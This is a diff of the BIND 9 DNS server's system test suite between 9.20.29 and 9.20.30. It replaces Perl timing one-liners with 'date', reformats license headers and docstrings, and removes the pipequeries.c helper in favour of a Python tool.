bind9-9.20.30/bin/tests/system/nsupdate/ans4/ans.py --- bind9-9.20.29/bin/tests/system/nsupdate/ans4/ans.py 2026-09-11 19:41:01.272325513 +0000 +++ bind9-9.20.30/bin/tests/system/nsupdate/ans4/ans.py 2026-10-12 13:12:08.206895614 +0000 @@ -3,13 +3,14 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -from isctest.asyncserver import AsyncDnsServer, IgnoreAllConnections, IgnoreAllQueries +from isctest.asyncserver import AsyncDnsServer +from isctest.asyncserver.handlers import IgnoreAllConnections, IgnoreAllQueries def main() -> None: diff -Nru bind9-9.20.29/bin/tests/system/nsupdate/tests.sh bind9-9.20.30/bin/tests/system/nsupdate/tests.sh --- bind9-9.20.29/bin/tests/system/nsupdate/tests.sh 2026-09-11 19:41:01.277325633 +0000 +++ bind9-9.20.30/bin/tests/system/nsupdate/tests.sh 2026-10-12 13:12:08.212895742 +0000 @@ -384,14 +384,14 @@ echo_i "check that unixtime serial number is correctly generated ($n)" $DIG $DIGOPTS +short unixtime.nil. soa @10.53.0.1 >dig.out.old.test$n || ret=1 oldserial=$(awk '{print $3}' dig.out.old.test$n) || ret=1 -start=$($PERL -e 'print time()."\n";') +start=$(date +%s) $NSUPDATE </dev/null 2>&1 || ret=1 server 10.53.0.1 ${PORT} ttl 600 update add new.unixtime.nil in a 1.2.3.4 send END -now=$($PERL -e 'print time()."\n";') +now=$(date +%s) sleep 1 $DIG $DIGOPTS +short unixtime.nil. soa @10.53.0.1 >dig.out.new.test$n || ret=1 serial=$(awk '{print $3}' dig.out.new.test$n) || ret=1 @@ -1414,7 +1414,7 @@ update add new.yyyymmddvv.nil in a 1.2.3.4 send END -now=$($PERL -e '@lt=localtime(); printf "%.4d%0.2d%0.2d00\n",$lt[5]+1900,$lt[4]+1,$lt[3];') +now=$(date +%Y%m%d00) sleep 1 serial=$($DIG $DIGOPTS +short yyyymmddvv.nil. soa @10.53.0.1 | awk '{print $3}') || ret=1 [ "$oldserial" -ne "$serial" ] || ret=1 @@ -1486,13 +1486,11 @@ EOF done # check that the journal is big enough to require truncation. -size=$($PERL -e 'use File::stat; my $sb = stat(@ARGV[0]); printf("%s\n", $sb->size);' ns1/maxjournal.db.jnl) -[ "$size" -gt 6000 ] || ret=1 +[ $(wc -c size);' ns1/maxjournal.db.jnl) - [ "$size" -lt 5000 ] + [ $(wc -c nsupdate.out.test$n 2>&1 && ret=1 server 10.53.0.4 ${PORT} zone unreachable. update add unreachable. 600 A 192.0.2.1 send END -t2=$($PERL -e 'print time()') +t2=$(date +%s) grep "; Communication with 10.53.0.4#${PORT} failed: timed out" nsupdate.out.test$n >/dev/null 2>&1 || ret=1 grep "not implemented" nsupdate.out.test$n >/dev/null 2>&1 && ret=1 elapsed=$((t2 - t1)) @@ -1638,14 +1636,14 @@ n=$((n + 1)) ret=0 echo_i "check whether valid addresses are used for primary failover (UDP with -u udptimeout) ($n)" -t1=$($PERL -e 'print time()') +t1=$(date +%s) $NSUPDATE -u 4 -r 1 <nsupdate.out.test$n 2>&1 && ret=1 server 10.53.0.4 ${PORT} zone unreachable. update add unreachable. 600 A 192.0.2.1 send END -t2=$($PERL -e 'print time()') +t2=$(date +%s) grep "; Communication with 10.53.0.4#${PORT} failed: timed out" nsupdate.out.test$n >/dev/null 2>&1 || ret=1 grep "not implemented" nsupdate.out.test$n >/dev/null 2>&1 && ret=1 elapsed=$((t2 - t1)) @@ -1660,14 +1658,14 @@ n=$((n + 1)) ret=0 echo_i "check whether valid addresses are used for primary failover (UDP with -t timeout) ($n)" -t1=$($PERL -e 'print time()') +t1=$(date +%s) $NSUPDATE -u 0 -t 8 -r 1 <nsupdate.out.test$n 2>&1 && ret=1 server 10.53.0.4 ${PORT} zone unreachable. update add unreachable. 600 A 192.0.2.1 send END -t2=$($PERL -e 'print time()') +t2=$(date +%s) grep "; Communication with 10.53.0.4#${PORT} failed: timed out" nsupdate.out.test$n >/dev/null 2>&1 || ret=1 grep "not implemented" nsupdate.out.test$n >/dev/null 2>&1 && ret=1 elapsed=$((t2 - t1)) @@ -1682,14 +1680,14 @@ n=$((n + 1)) ret=0 echo_i "check whether valid addresses are used for primary failover (UDP with -u udptimeout -t timeout) ($n)" -t1=$($PERL -e 'print time()') +t1=$(date +%s) $NSUPDATE -u 4 -t 30 -r 1 <nsupdate.out.test$n 2>&1 && ret=1 server 10.53.0.4 ${PORT} zone unreachable. update add unreachable. 600 A 192.0.2.1 send END -t2=$($PERL -e 'print time()') +t2=$(date +%s) grep "; Communication with 10.53.0.4#${PORT} failed: timed out" nsupdate.out.test$n >/dev/null 2>&1 || ret=1 grep "not implemented" nsupdate.out.test$n >/dev/null 2>&1 && ret=1 elapsed=$((t2 - t1)) @@ -1704,14 +1702,14 @@ n=$((n + 1)) ret=0 echo_i "check whether valid addresses are used for primary failover (TCP with -t timeout) ($n)" -t1=$($PERL -e 'print time()') +t1=$(date +%s) $NSUPDATE -t 8 -v <nsupdate.out.test$n 2>&1 && ret=1 server 10.53.0.4 ${PORT} zone unreachable. update add unreachable. 600 A 192.0.2.1 send END -t2=$($PERL -e 'print time()') +t2=$(date +%s) grep "; Communication with 10.53.0.4#${PORT} failed: timed out" nsupdate.out.test$n >/dev/null 2>&1 || ret=1 grep "not implemented" nsupdate.out.test$n >/dev/null 2>&1 && ret=1 elapsed=$((t2 - t1)) @@ -2153,7 +2151,7 @@ n=$((n + 1)) ret=0 echo_i "check that grant external pass client address properly ($n)" { -($PERL "${TOP_SRCDIR}/bin/tests/system/authsock.pl" --type=CNAME --path=ns1/auth.sock --pidfile=authsock.pid --timeout=120 >authsock.out.test$n 2>&1 &) & +($PYTHON -m isctest.tools.authsock --type=CNAME --path=ns1/auth.sock --pidfile=authsock.pid --timeout=120 >authsock.out.test$n 2>&1 &) & sleep 1 nextpart authsock.out.test$n >/dev/null $NSUPDATE -k ns1/ddns.key -d <nsupdate.udp.test$n 2>&1 || ret=1 diff -Nru bind9-9.20.29/bin/tests/system/nsupdate/tests_sh_nsupdate.py bind9-9.20.30/bin/tests/system/nsupdate/tests_sh_nsupdate.py --- bind9-9.20.29/bin/tests/system/nsupdate/tests_sh_nsupdate.py 2026-09-11 19:41:01.278325657 +0000 +++ bind9-9.20.30/bin/tests/system/nsupdate/tests_sh_nsupdate.py 2026-10-12 13:12:08.213895763 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -29,7 +29,6 @@ "typelist.out.*", "update.in.*", "verylarge", - "ans*/ans.run", "ns*/*.jnl", "ns*/*.jnl", "ns1/auth.sock", diff -Nru bind9-9.20.29/bin/tests/system/nsupdate/tests_update_sig.py bind9-9.20.30/bin/tests/system/nsupdate/tests_update_sig.py --- bind9-9.20.29/bin/tests/system/nsupdate/tests_update_sig.py 2026-09-11 19:41:01.278325657 +0000 +++ bind9-9.20.30/bin/tests/system/nsupdate/tests_update_sig.py 2026-10-12 13:12:08.213895763 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -45,7 +45,6 @@ pytestmark = pytest.mark.extra_artifacts( [ - "ans*/ans.run", "ns*/*.bk", "ns*/*.conf", "ns*/*.db", @@ -64,7 +63,8 @@ def _make_sig_rdata(text): - """Create a SIG rdata from text. + """ + Create a SIG rdata from text. dnspython has no native text parser for the legacy SIG type (24), but the wire format is identical to RRSIG (46). Parse as RRSIG, @@ -76,7 +76,8 @@ def _make_nxt_rdata(): - """Create a minimal NXT rdata. + """ + Create a minimal NXT rdata. NXT wire format (RFC 2535) is: next-name + type-bitmap. The exact content does not matter for the refusal test; we just need a @@ -88,7 +89,8 @@ def test_tcp_self_sig_record(ns6): - """SIG (type 24) updates must be refused at the front door. + """ + SIG (type 24) updates must be refused at the front door. Prior to the fix in dns__db_findrdataset(), a SIG update here crashed named. Prior to the fix in diff.c rdata_covers(), the @@ -130,7 +132,8 @@ def test_tcp_self_nxt_record(ns6): - """NXT (type 30) updates must be refused at the front door. + """ + NXT (type 30) updates must be refused at the front door. NXT is the legacy DNSSEC denial-of-existence type, obsolete since RFC 3755 replaced it with NSEC. Accepting it via dynamic update @@ -165,7 +168,8 @@ def test_sig_covers_preserved_via_axfr(ns6): - """Regression test for GL#5818 Finding 1, reached via AXFR. + """ + Regression test for GL#5818 Finding 1, reached via AXFR. ans11 serves an AXFR for sigaxfr.nil. containing two SIG rdatas at the same owner with different covered types (A, MX) and different diff -Nru bind9-9.20.29/bin/tests/system/nta/tests_nta.py bind9-9.20.30/bin/tests/system/nta/tests_nta.py --- bind9-9.20.29/bin/tests/system/nta/tests_nta.py 2026-09-11 19:41:01.279325681 +0000 +++ bind9-9.20.30/bin/tests/system/nta/tests_nta.py 2026-10-12 13:12:08.214895785 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/nzd2nzf/tests_nzd2nzf.py bind9-9.20.30/bin/tests/system/nzd2nzf/tests_nzd2nzf.py --- bind9-9.20.29/bin/tests/system/nzd2nzf/tests_nzd2nzf.py 2026-09-11 19:41:01.280325705 +0000 +++ bind9-9.20.30/bin/tests/system/nzd2nzf/tests_nzd2nzf.py 2026-10-12 13:12:08.215895806 +0000 @@ -3,13 +3,12 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. - import os import pytest diff -Nru bind9-9.20.29/bin/tests/system/optout/tests_optout.py bind9-9.20.30/bin/tests/system/optout/tests_optout.py --- bind9-9.20.29/bin/tests/system/optout/tests_optout.py 2026-09-11 19:41:01.280325705 +0000 +++ bind9-9.20.30/bin/tests/system/optout/tests_optout.py 2026-10-12 13:12:08.215895806 +0000 @@ -1,17 +1,14 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. - import os import re diff -Nru bind9-9.20.29/bin/tests/system/org.isc.bind.system bind9-9.20.30/bin/tests/system/org.isc.bind.system --- bind9-9.20.29/bin/tests/system/org.isc.bind.system 2026-09-11 19:41:01.280325705 +0000 +++ bind9-9.20.30/bin/tests/system/org.isc.bind.system 2026-10-12 13:12:08.215895806 +0000 @@ -11,7 +11,7 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -# see also ifconfig.sh.in and testsock.pl +# see also ifconfig.sh.in and isctest/tools/testsock.py ifup() { /sbin/ifconfig lo0 10.53.$1.$3 alias diff -Nru bind9-9.20.29/bin/tests/system/outofzone_zonecut/tests_outofzone_zonecut.py bind9-9.20.30/bin/tests/system/outofzone_zonecut/tests_outofzone_zonecut.py --- bind9-9.20.29/bin/tests/system/outofzone_zonecut/tests_outofzone_zonecut.py 2026-09-11 19:41:01.281325729 +0000 +++ bind9-9.20.30/bin/tests/system/outofzone_zonecut/tests_outofzone_zonecut.py 2026-10-12 13:12:08.216895828 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -32,7 +32,9 @@ def check_in_zone(response, zone): - """Nothing in the response may be owned by a name outside the zone.""" + """ + Nothing in the response may be owned by a name outside the zone. + """ origin = dns.name.from_text(zone) for section in (response.answer, response.authority, response.additional): for rrset in section: diff -Nru bind9-9.20.29/bin/tests/system/padding/tests_sh_padding.py bind9-9.20.30/bin/tests/system/padding/tests_sh_padding.py --- bind9-9.20.29/bin/tests/system/padding/tests_sh_padding.py 2026-09-11 19:41:01.282325753 +0000 +++ bind9-9.20.30/bin/tests/system/padding/tests_sh_padding.py 2026-10-12 13:12:08.217895849 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/pending/tests_sh_pending.py bind9-9.20.30/bin/tests/system/pending/tests_sh_pending.py --- bind9-9.20.29/bin/tests/system/pending/tests_sh_pending.py 2026-09-11 19:41:01.284325801 +0000 +++ bind9-9.20.30/bin/tests/system/pending/tests_sh_pending.py 2026-10-12 13:12:08.219895892 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/pipelined/ans5/ans.py bind9-9.20.30/bin/tests/system/pipelined/ans5/ans.py --- bind9-9.20.29/bin/tests/system/pipelined/ans5/ans.py 2026-09-11 19:41:01.284325801 +0000 +++ bind9-9.20.30/bin/tests/system/pipelined/ans5/ans.py 2026-10-12 13:12:08.219895892 +0000 @@ -1,17 +1,16 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" - -from isctest.asyncserver import AsyncDnsServer, ForwarderHandler +from isctest.asyncserver import AsyncDnsServer +from isctest.asyncserver.handlers import ForwarderHandler class ForwardToNs2(ForwarderHandler): diff -Nru bind9-9.20.29/bin/tests/system/pipelined/inputb bind9-9.20.30/bin/tests/system/pipelined/inputb --- bind9-9.20.29/bin/tests/system/pipelined/inputb 2026-09-11 19:41:01.284325801 +0000 +++ bind9-9.20.30/bin/tests/system/pipelined/inputb 1970-01-01 00:00:00.000000000 +0000 @@ -1,8 +0,0 @@ -e.examplea -e.exampleb -f.examplea -f.exampleb -g.examplea -g.exampleb -h.examplea -h.exampleb diff -Nru bind9-9.20.29/bin/tests/system/pipelined/pipequeries.c bind9-9.20.30/bin/tests/system/pipelined/pipequeries.c --- bind9-9.20.29/bin/tests/system/pipelined/pipequeries.c 2026-09-11 19:41:01.285325824 +0000 +++ bind9-9.20.30/bin/tests/system/pipelined/pipequeries.c 1970-01-01 00:00:00.000000000 +0000 @@ -1,304 +0,0 @@ -/* - * Copyright (C) Internet Systems Consortium, Inc. ("ISC") - * - * SPDX-License-Identifier: MPL-2.0 - * - * This Source Code Form is subject to the terms of the Mozilla Public - * License, v. 2.0. If a copy of the MPL was not distributed with this - * file, you can obtain one at https://mozilla.org/MPL/2.0/. - * - * See the COPYRIGHT file distributed with this work for additional - * information regarding copyright ownership. - */ - -#include -#include -#include -#include -#include - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#define CHECKM(str, x) \ - { \ - if ((x) != ISC_R_SUCCESS) { \ - fprintf(stderr, "I:%s: %s\n", (str), \ - isc_result_totext(x)); \ - exit(EXIT_FAILURE); \ - } \ - } - -#define RUNCHECK(x) RUNTIME_CHECK((x) == ISC_R_SUCCESS) - -#define PORT 5300 -#define TIMEOUT 30 - -static isc_mem_t *mctx = NULL; -static dns_requestmgr_t *requestmgr = NULL; -static isc_loopmgr_t *loopmgr = NULL; -static bool have_src = false; -static isc_sockaddr_t srcaddr; -static isc_sockaddr_t dstaddr; -static int onfly; - -static void -recvresponse(void *arg) { - isc_result_t result; - dns_request_t *request = (dns_request_t *)arg; - dns_message_t *query = dns_request_getarg(request); - dns_message_t *response = NULL; - isc_buffer_t outbuf; - char output[1024]; - - result = dns_request_getresult(request); - if (result != ISC_R_SUCCESS) { - fprintf(stderr, "I:request event result: %s\n", - isc_result_totext(result)); - exit(EXIT_FAILURE); - } - - dns_message_create(mctx, NULL, NULL, DNS_MESSAGE_INTENTPARSE, - &response); - - result = dns_request_getresponse(request, response, - DNS_MESSAGEPARSE_PRESERVEORDER); - CHECKM("dns_request_getresponse", result); - - if (response->rcode != dns_rcode_noerror) { - result = dns_result_fromrcode(response->rcode); - fprintf(stderr, "I:response rcode: %s\n", - isc_result_totext(result)); - exit(EXIT_FAILURE); - } - if (response->counts[DNS_SECTION_ANSWER] != 1U) { - fprintf(stderr, "I:response answer count (%u!=1)\n", - response->counts[DNS_SECTION_ANSWER]); - } - - isc_buffer_init(&outbuf, output, sizeof(output)); - result = dns_message_sectiontotext( - response, DNS_SECTION_ANSWER, &dns_master_style_simple, - DNS_MESSAGETEXTFLAG_NOCOMMENTS, &outbuf); - CHECKM("dns_message_sectiontotext", result); - printf("%.*s", (int)isc_buffer_usedlength(&outbuf), - (char *)isc_buffer_base(&outbuf)); - fflush(stdout); - - dns_message_detach(&query); - dns_message_detach(&response); - dns_request_destroy(&request); - - if (--onfly == 0) { - isc_loopmgr_shutdown(loopmgr); - } - return; -} - -static isc_result_t -sendquery(void) { - dns_request_t *request = NULL; - dns_message_t *message = NULL; - dns_name_t *qname = NULL; - dns_rdataset_t *qrdataset = NULL; - isc_result_t result; - dns_fixedname_t queryname; - isc_buffer_t buf; - static char host[256]; - int c; - - c = scanf("%255s", host); - if (c == EOF) { - return ISC_R_NOMORE; - } - - onfly++; - - dns_fixedname_init(&queryname); - isc_buffer_init(&buf, host, strlen(host)); - isc_buffer_add(&buf, strlen(host)); - result = dns_name_fromtext(dns_fixedname_name(&queryname), &buf, - dns_rootname, 0, NULL); - CHECKM("dns_name_fromtext", result); - - dns_message_create(mctx, NULL, NULL, DNS_MESSAGE_INTENTRENDER, - &message); - - message->opcode = dns_opcode_query; - message->flags |= DNS_MESSAGEFLAG_RD; - message->rdclass = dns_rdataclass_in; - message->id = (unsigned short)(random() & 0xFFFF); - - dns_message_gettempname(message, &qname); - - dns_message_gettemprdataset(message, &qrdataset); - - dns_name_clone(dns_fixedname_name(&queryname), qname); - dns_rdataset_makequestion(qrdataset, dns_rdataclass_in, - dns_rdatatype_a); - ISC_LIST_APPEND(qname->list, qrdataset, link); - dns_message_addname(message, qname, DNS_SECTION_QUESTION); - - result = dns_request_create( - requestmgr, message, have_src ? &srcaddr : NULL, &dstaddr, NULL, - NULL, DNS_REQUESTOPT_TCP, NULL, TIMEOUT, 0, 0, - isc_loop_main(loopmgr), recvresponse, message, &request); - CHECKM("dns_request_create", result); - - return ISC_R_SUCCESS; -} - -static void -sendqueries(void *arg) { - isc_result_t result; - - UNUSED(arg); - - do { - result = sendquery(); - } while (result == ISC_R_SUCCESS); - - if (onfly == 0) { - isc_loopmgr_shutdown(loopmgr); - } - return; -} - -static void -teardown_view(void *arg) { - dns_view_t *view = arg; - dns_view_detach(&view); -} - -static void -teardown_requestmgr(void *arg) { - dns_requestmgr_t *mgr = arg; - - dns_requestmgr_shutdown(mgr); - dns_requestmgr_detach(&mgr); -} - -static void -teardown_dispatchv4(void *arg) { - dns_dispatch_t *dispatchv4 = arg; - dns_dispatch_detach(&dispatchv4); -} - -static void -teardown_dispatchmgr(void *arg) { - dns_dispatchmgr_t *dispatchmgr = arg; - dns_dispatchmgr_detach(&dispatchmgr); -} - -int -main(int argc, char *argv[]) { - isc_sockaddr_t bind_any; - struct in_addr inaddr; - isc_result_t result; - isc_log_t *lctx = NULL; - isc_logconfig_t *lcfg = NULL; - isc_nm_t *netmgr = NULL; - dns_dispatchmgr_t *dispatchmgr = NULL; - dns_dispatch_t *dispatchv4 = NULL; - dns_view_t *view = NULL; - uint16_t port = PORT; - int c; - - isc_commandline_errprint = false; - while ((c = isc_commandline_parse(argc, argv, "p:r:")) != -1) { - switch (c) { - case 'p': - result = isc_parse_uint16(&port, - isc_commandline_argument, 10); - if (result != ISC_R_SUCCESS) { - fprintf(stderr, "bad port '%s'\n", - isc_commandline_argument); - exit(EXIT_FAILURE); - } - break; - case 'r': - fprintf(stderr, "The -r option has been deprecated.\n"); - break; - case '?': - fprintf(stderr, "%s: invalid argument '%c'", argv[0], - c); - break; - default: - break; - } - } - - argc -= isc_commandline_index; - argv += isc_commandline_index; - POST(argv); - - if (argc > 0) { - have_src = true; - } - - isc_sockaddr_any(&bind_any); - - result = ISC_R_FAILURE; - if (inet_pton(AF_INET, "10.53.0.7", &inaddr) != 1) { - CHECKM("inet_pton", result); - } - isc_sockaddr_fromin(&srcaddr, &inaddr, 0); - - result = ISC_R_FAILURE; - if (inet_pton(AF_INET, "10.53.0.4", &inaddr) != 1) { - CHECKM("inet_pton", result); - } - isc_sockaddr_fromin(&dstaddr, &inaddr, port); - - isc_managers_create(&mctx, 1, &loopmgr, &netmgr); - - isc_log_create(mctx, &lctx, &lcfg); - - RUNCHECK(dst_lib_init(mctx, NULL)); - - RUNCHECK(dns_dispatchmgr_create(mctx, loopmgr, netmgr, &dispatchmgr)); - - RUNCHECK(dns_dispatch_createudp( - dispatchmgr, have_src ? &srcaddr : &bind_any, &dispatchv4)); - RUNCHECK(dns_requestmgr_create(mctx, loopmgr, dispatchmgr, dispatchv4, - NULL, &requestmgr)); - - RUNCHECK(dns_view_create(mctx, loopmgr, NULL, 0, "_test", &view)); - - isc_loopmgr_setup(loopmgr, sendqueries, NULL); - isc_loopmgr_teardown(loopmgr, teardown_view, view); - isc_loopmgr_teardown(loopmgr, teardown_requestmgr, requestmgr); - isc_loopmgr_teardown(loopmgr, teardown_dispatchv4, dispatchv4); - isc_loopmgr_teardown(loopmgr, teardown_dispatchmgr, dispatchmgr); - - isc_loopmgr_run(loopmgr); - - dst_lib_destroy(); - - isc_log_destroy(&lctx); - - isc_managers_destroy(&mctx, &loopmgr, &netmgr); - - return 0; -} diff -Nru bind9-9.20.29/bin/tests/system/pipelined/refb bind9-9.20.30/bin/tests/system/pipelined/refb --- bind9-9.20.29/bin/tests/system/pipelined/refb 2026-09-11 19:41:01.285325824 +0000 +++ bind9-9.20.30/bin/tests/system/pipelined/refb 1970-01-01 00:00:00.000000000 +0000 @@ -1,8 +0,0 @@ -e.examplea. 10.0.1.5 -e.exampleb. 10.0.2.5 -f.examplea. 10.0.1.6 -f.exampleb. 10.0.2.6 -g.examplea. 10.0.1.7 -g.exampleb. 10.0.2.7 -h.examplea. 10.0.1.8 -h.exampleb. 10.0.2.8 diff -Nru bind9-9.20.29/bin/tests/system/pipelined/tests.sh bind9-9.20.30/bin/tests/system/pipelined/tests.sh --- bind9-9.20.29/bin/tests/system/pipelined/tests.sh 2026-09-11 19:41:01.285325824 +0000 +++ bind9-9.20.30/bin/tests/system/pipelined/tests.sh 2026-10-12 13:12:08.220895913 +0000 @@ -24,7 +24,7 @@ } pipequeries() { - "$PIPEQUERIES" -p "${PORT}" + "$PYTHON" -m isctest.tools.pipequeries -s 10.53.0.4 -p "${PORT}" } status=0 @@ -32,32 +32,7 @@ ret=0 echo_i "check pipelined TCP queries ($n)" -# On FreeBSD, the TCP connect() call can transiently fail with -# EADDRINUSE even after the netmgr retried it in place: the socket is -# already bound, so retrying on the same source port cannot help. -# pipequeries then bails out before any query is sent, which leaves -# the ns4 cache cold, so it is safe to simply run it again (and the -# out-of-order check below remains meaningful on a repeated run). -# -# This loop is a workaround for the pipequeries.c implementation. If -# pipequeries is ever rewritten in pure Python (using the test suite's -# own DNS machinery, which can pick a fresh source port per attempt), -# this retry should no longer be necessary and can be dropped. -pq_left=10 -while :; do - ret=0 - pipequeries raw.$n 2>pipequeries.err.$n || ret=1 - cat pipequeries.err.$n >&2 - pq_left=$((pq_left - 1)) - if [ $ret -eq 0 ] || [ $pq_left -le 0 ]; then - break - fi - if ! grep "address in use" pipequeries.err.$n >/dev/null; then - break - fi - echo_i "retrying pipequeries after a transient connect failure" - sleep 1 -done +pipequeries raw.$n || ret=1 awk '{ print $1 " " $5 }' output.$n sort output-sorted.$n diff ref output-sorted.$n || { diff -Nru bind9-9.20.29/bin/tests/system/pipelined/tests_sh_pipelined.py bind9-9.20.30/bin/tests/system/pipelined/tests_sh_pipelined.py --- bind9-9.20.29/bin/tests/system/pipelined/tests_sh_pipelined.py 2026-09-11 19:41:01.285325824 +0000 +++ bind9-9.20.30/bin/tests/system/pipelined/tests_sh_pipelined.py 2026-10-12 13:12:08.220895913 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -14,9 +14,7 @@ pytestmark = pytest.mark.extra_artifacts( [ "output*", - "pipequeries.err*", "raw*", - "ans*/ans.run", ] ) diff -Nru bind9-9.20.29/bin/tests/system/proxy/tests_sh_proxy.py bind9-9.20.30/bin/tests/system/proxy/tests_sh_proxy.py --- bind9-9.20.29/bin/tests/system/proxy/tests_sh_proxy.py 2026-09-11 19:41:01.286325849 +0000 +++ bind9-9.20.30/bin/tests/system/proxy/tests_sh_proxy.py 2026-10-12 13:12:08.220895913 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans2/1.0.0.2.ip6.arpa.db bind9-9.20.30/bin/tests/system/qmin/ans2/1.0.0.2.ip6.arpa.db --- bind9-9.20.29/bin/tests/system/qmin/ans2/1.0.0.2.ip6.arpa.db 2026-09-11 19:41:01.286325849 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans2/1.0.0.2.ip6.arpa.db 1970-01-01 00:00:00.000000000 +0000 @@ -1,17 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. - -@ 30 SOA ns2.good. hostmaster.arpa. 2018050100 1 1 1 1 -@ 30 NS ns2.good. - -8.2.6.0 60 NS ns3.good. - -1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.f.4.0 1 PTR nee.com. diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans2/ans.py bind9-9.20.30/bin/tests/system/qmin/ans2/ans.py --- bind9-9.20.29/bin/tests/system/qmin/ans2/ans.py 2026-09-11 19:41:01.286325849 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans2/ans.py 2026-10-12 13:12:08.221895934 +0000 @@ -1,15 +1,13 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator @@ -18,13 +16,9 @@ import dns.rdatatype import dns.rrset 